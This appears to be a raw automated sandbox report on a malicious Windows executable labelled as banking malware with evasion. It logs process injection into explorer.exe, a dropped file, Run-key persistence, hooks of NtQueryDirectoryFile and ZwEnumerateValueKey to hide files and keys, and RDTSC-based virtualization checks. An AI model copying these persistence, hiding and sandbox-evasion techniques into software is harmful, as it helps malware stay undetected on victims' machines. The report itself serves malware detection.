Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00B03653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00AB3653 appears 35 times
Source: C:\Windows\System32\sihost.exe	Code function: String function: 00AC3653 appears 35 times
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: String function: 00583653 appears 35 times
Source: C:\Windows\System32\dllhost.exe	Code function: String function: 006E3653 appears 35 times
Source: C:\Users\user\Desktop\java.exe	Code function: String function: 02263677 appears 34 times

Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Section loaded: nss3.dll

Source: java.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.bank.expl.evad.winEXE@10/12@14/3

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02260005 ExitProcess,GetProcAddress,IsWow64Process,GetModuleHandleW,GetStartupInfoA,ReadFile,WriteFile,SetFilePointer,CloseHandle,CreateToolhelp32Snapshot,Process32Next,OpenProcess,VirtualFree,VirtualAllocEx,CreateMutexA,

0_2_02260005

Source: C:\Windows\SysWOW64\winver.exe

File created: C:\Users\user\AppData\Local\Packages\windows_ie_ac_001\AC\F90F00A9

Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe	Mutant created: \Sessions\1\BaseNamedObjects\F90F00A9
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03

Source: C:\Windows\explorer.exe

File read: C:\Users\user\Searches\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: java.exe

ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\java.exe C:\Users\user\Desktop\java.exe
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\SysWOW64\winver.exe winver
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe "C:\Users\user\AppData\Roaming\F90F00A9\bin.exe"
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe "C:\Users\user\AppData\Roaming\F90F00A9\bin.exe"
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\SysWOW64\winver.exe winver	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe "C:\Users\user\AppData\Roaming\F90F00A9\bin.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe "C:\Users\user\AppData\Roaming\F90F00A9\bin.exe"	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: java.exe	Static PE information: section name: .imports
Source: bin.exe.2.dr	Static PE information: section name: .imports

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02260C1A push edi; ret	0_2_02260C56
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02260B89 push edi; ret	0_2_02260C56
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_02F00B65 push edi; ret	2_2_02F00C32
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_02F00BF6 push edi; ret	2_2_02F00C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01380B65 push edi; ret	3_2_01380C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01380BF6 push edi; ret	3_2_01380C32
Source: C:\Windows\explorer.exe	Code function: 3_2_013A0B65 push edi; ret	3_2_013A0C32
Source: C:\Windows\explorer.exe	Code function: 3_2_013A0BF6 push edi; ret	3_2_013A0C32
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0BF6 push edi; ret	4_2_00AC0C32
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0B65 push edi; ret	4_2_00AC0C32
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910BF6 push edi; ret	5_2_00910C32
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910B65 push edi; ret	5_2_00910C32
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0BF6 push edi; ret	6_2_009A0C32
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0B65 push edi; ret	6_2_009A0C32
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50BF6 push edi; ret	7_2_00A50C32
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50B65 push edi; ret	7_2_00A50C32
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40BF6 push edi; ret	8_2_00D40C32
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40B65 push edi; ret	8_2_00D40C32
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50BF6 push edi; ret	9_2_00B50C32
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50B65 push edi; ret	9_2_00B50C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110B65 push edi; ret	10_2_00110C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110BF6 push edi; ret	10_2_00110C32
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_001C0B65 push edi; ret	12_2_001C0C32
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_001C0BF6 push edi; ret	12_2_001C0C32
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02380C1A push edi; ret	12_2_02380C56
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02381A92 push esi; ret	12_2_02381A94
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02381B61 push esi; ret	12_2_02381B63
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02380B89 push edi; ret	12_2_02380C56
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0BF6 push edi; ret	15_2_00AB0C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0B65 push edi; ret	15_2_00AB0C32
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00290B65 push edi; ret	16_2_00290C32

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Windows\SysWOW64\winver.exe

File created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe

Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Windows\SysWOW64\winver.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run F90F00A9

Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run F90F00A9			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run F90F00A9			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwResumeThread new code: 0xE9 0x9E 0xE1 0x12 0x25 0x51

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\winver.exe

RDTSC instruction interceptor: First address: 0000000002F02FAD second address: 0000000002F02FD6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edx 0x00000004 stosd 0x00000005 mov eax, dword ptr [ebx+004042B5h] 0x0000000b stosd 0x0000000c mov eax, dword ptr [ebx+004042B9h] 0x00000012 stosd 0x00000013 mov eax, dword ptr [ebx+00406820h] 0x00000019 stosd 0x0000001a mov eax, dword ptr [ebx+00406824h] 0x00000020 stosd 0x00000021 lea eax, dword ptr [ebp-00000700h] 0x00000027 sub edi, eax 0x00000029 rdtsc

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02260005 rdtsc

0_2_02260005

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 733			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 712			Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-3165

Source: C:\Windows\SysWOW64\winver.exe TID: 7412

Thread sleep count: 271 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\ctfmon.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\smartscreen.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\ApplicationFrameHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed

Source: explorer.exe, 00000003.00000000.1638532845.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBD5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmware horizon client
Source: SearchApp.exe, 0000000B.00000000.1760446370.0000024B42264000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: com.nicehash.nhm1251102507VMware.View.Client
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware workstation 15 player\|vmplayer6438
Source: explorer.exe, 00000003.00000002.2901515644.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchApp.exe, 0000000B.00000003.1812027096.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|\|qemu10642
Source: svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;I!
Source: explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3032615601.000000000982D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1717426003.0000019E29F00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2940071655.0000019E29F00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBD5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmware workstation 12 player
Source: SearchApp.exe, 0000000B.00000000.1747233145.00000243400AB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;nlse]
Source: SearchApp.exe, 0000000B.00000003.1812027096.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|hyperv4178
Source: explorer.exe, 00000003.00000002.3041105385.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1765512807.0000024B42D43000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: var fbpkgiid = fbpkgiid \|\| {}; fbpkgiid.page = '';;(function(BingAtWork) { if (typeof (bfbWsbTel) !== "undefined") { BingAtWork.WsbWebTelemetry.init({"cfg":{"e":true,"env":"PROD","t":"33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176"},"ig":"892FA07886414BDF8EE1764A59FF39C6","ConversationId":"21139c92-d559-45ad-9d8f-73e2a64bf7e7","LogicalId":"30363daf-0e99-4b56-afae-f0c5eee8522a","tid":"651d53d035ec4c7eba14a4092e8aedb0","sid":"193A581F83766B4319784BBF829B6A16","uid":"","muid":"6666694284484FA1B35CCB433D42E997","puid":null,"isMtr":false,"tn":null,"tnid":null,"msa":false,"mkt":"en-us","b":"edge","eref":"Ref A: 651d53d035ec4c7eba14a4092e8aedb0 Ref B: MWHEEEAP0024F6D Ref C: 2023-10-04T12:00:16Z","vs":{"BAW12":"BFBBCEJIT2","BAW2":"BFBSPRC","BAW5":"PREMSBCUSTVERT","BAW7":"BFBPROWSBINITCF","CLIENT":"WINDOWS","COLUMN":"SINGLE","FEATURE.BFBBCEJIT":"1","FEATURE.BFBBCEJIT2":"1","FEATURE.BFBEDUQWQSCLKWSB":"1","FEATURE.BFBPROWSBINITCF":"1","FEATURE.BFBREFRPLAN":"1","FEATURE.BFBSPRC":"1","FEATURE.BFBWSBRS0830TF":"1","FEATURE.MSAAUTOJOIN":"1","FEATURE.MSBDSBIGLEAM":"1","FEATURE.MSBDSBORGV2":"1","FEATURE.MSBDSBORGV2CO":"1","FEATURE.MSBWDSBI920T1":"1","FEATURE.MSNSBT1":"1","FEATURE.WSBREF-T":"1","MKT":"EN-US","MS":"0","NEWHEADER":"1","THEME":"THBRAND","UILANG":"EN"},"dev":"DESKTOP","os":"WINDOWS","osver":"11","dc":"CoreUX-Prod-MWHE01","canvas":"","sci":true,"isMidgardEnabled":true,"isHomepage":false,"snrVersion":"2023.10.03.39942242"}); } })(BingAtWork \|\| (BingAtWork = {}));;_w.rms.js({'A:rms:answers:BoxModel:Framework':'https:\/\/r.bing.com\/rb\/18\/jnc,nj\/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w'});;
Source: SearchApp.exe, 0000000B.00000003.1809228860.0000024B5CBDE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1812027096.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBDE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|virtual5441
Source: SearchApp.exe, 0000000B.00000000.1760446370.0000024B42264000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.View.Client
Source: SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBD5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmware workstation 15 player
Source: winver.exe, 00000002.00000002.2901295181.0000000002F77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000003.00000000.1636127493.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000003.00000000.1637966604.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000003.00000000.1638532845.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vm ware8394
Source: explorer.exe, 00000003.00000002.3041105385.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vspe6388
Source: SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBD5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmware vsphere client
Source: explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vdi3894
Source: SearchApp.exe, 0000000B.00000003.1809228860.0000024B5CBDE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1812027096.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBDE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|hyper v4919
Source: explorer.exe, 00000003.00000000.1637966604.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBD5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: visual studio code - insidersvmware horizon clientnsidersscode
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|view5503
Source: svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: SearchApp.exe, 0000000B.00000003.1809228860.0000024B5CBDE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBDE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|chrome655\|google chrome\|google chrme12854\|hourly analysis program 4.50\|hap1\|google chrome\|gogole chrome12596\|google chrome\|gogle chrome12063\|google chrome\|googe chrome13035\|google chrome\|open google chrome12094\|google chrome\|google chome13148\|google chrome\|goole chrome12691\|google chrome\|google.com6973\|google chrome\|goggle chrome11902\|google chrome\|google chroem12365\|hourly analysis program 4.91\|hap1\|hourly analysis program 5.10\|hap1\|hp scan and capture\|hpscan6530\|hp unified functional testing\|uft1\|ibm integration toolkit 10.0.0.7\|iib403\|hp support assistant\|hps5179\|huawei operation & maintenance system\|lmt1\|ibm integration toolkit 10.0.0.10\|iib1\|hourly analysis program 5.11\|hap114\|ibm integration toolkit 10.0.0.12\|iib1\|hyper-v manager\|hyper v4919\|ibm integration toolkit 10.0.0.15\|iib1\|hourly analysis program 4.90\|hap375\|ibm notes (basic)\|lotus3079\|ibm integration toolkit 10.0.0.11\|iib1\|hourly analysis program 5.01\|hap1\|ic business manager\|icb1577\|idle (python 3.7 64-bit)\|idel5996\|income tax planner workstation\|bna1\|idle (python 3.7 32-bit)\|idel6028\|hpe content manager\|trim1743\|image composite editor\|ice852\|instrument de decupare\|snipp3115\|idle (python gui)\|python idle5336\|import passwords\|lastpass1242\|hourly analysis program 4.80\|hap1\|hyper-v manager\|virtual5441\|i.r.i.s. ocr registration\|iris1117\|hp support assistant\|hp ass4184\|hpe unified functional testing\|uft1\|ibm integration toolkit 10.0.0.13\|iib1\|hpe records manager\|trim1399\|internet download manager\|imd6996\|internet explorer\|internet exploreer11386\|internet explorer\|internet expolorer12620\|internet explorer\|enternet explorer12262\|internet download manager\|ine9116\|internet explorer\|interner explorer12898\|integrated operations system\|ios1\|internet download manager\|don8066\|internet explorer\|microsoft explorer11072\|internet explorer\|interent explorer12236\|internet explorer\|inernet explorer12324\|internet download manager\|idman7834\|integrated architecture builder\|iab1\|internet download manager\|idmm8541\|internet explorer\|internet exploerer12012\|internet explorer\|internet explorere10177\|integrated dealer systems - g2\|ids1249\|internet download accelerator\|ida842\|internet download manager*\|
Source: SearchApp.exe, 0000000B.00000000.1766426485.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: explorer.exe, 00000003.00000000.1636127493.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
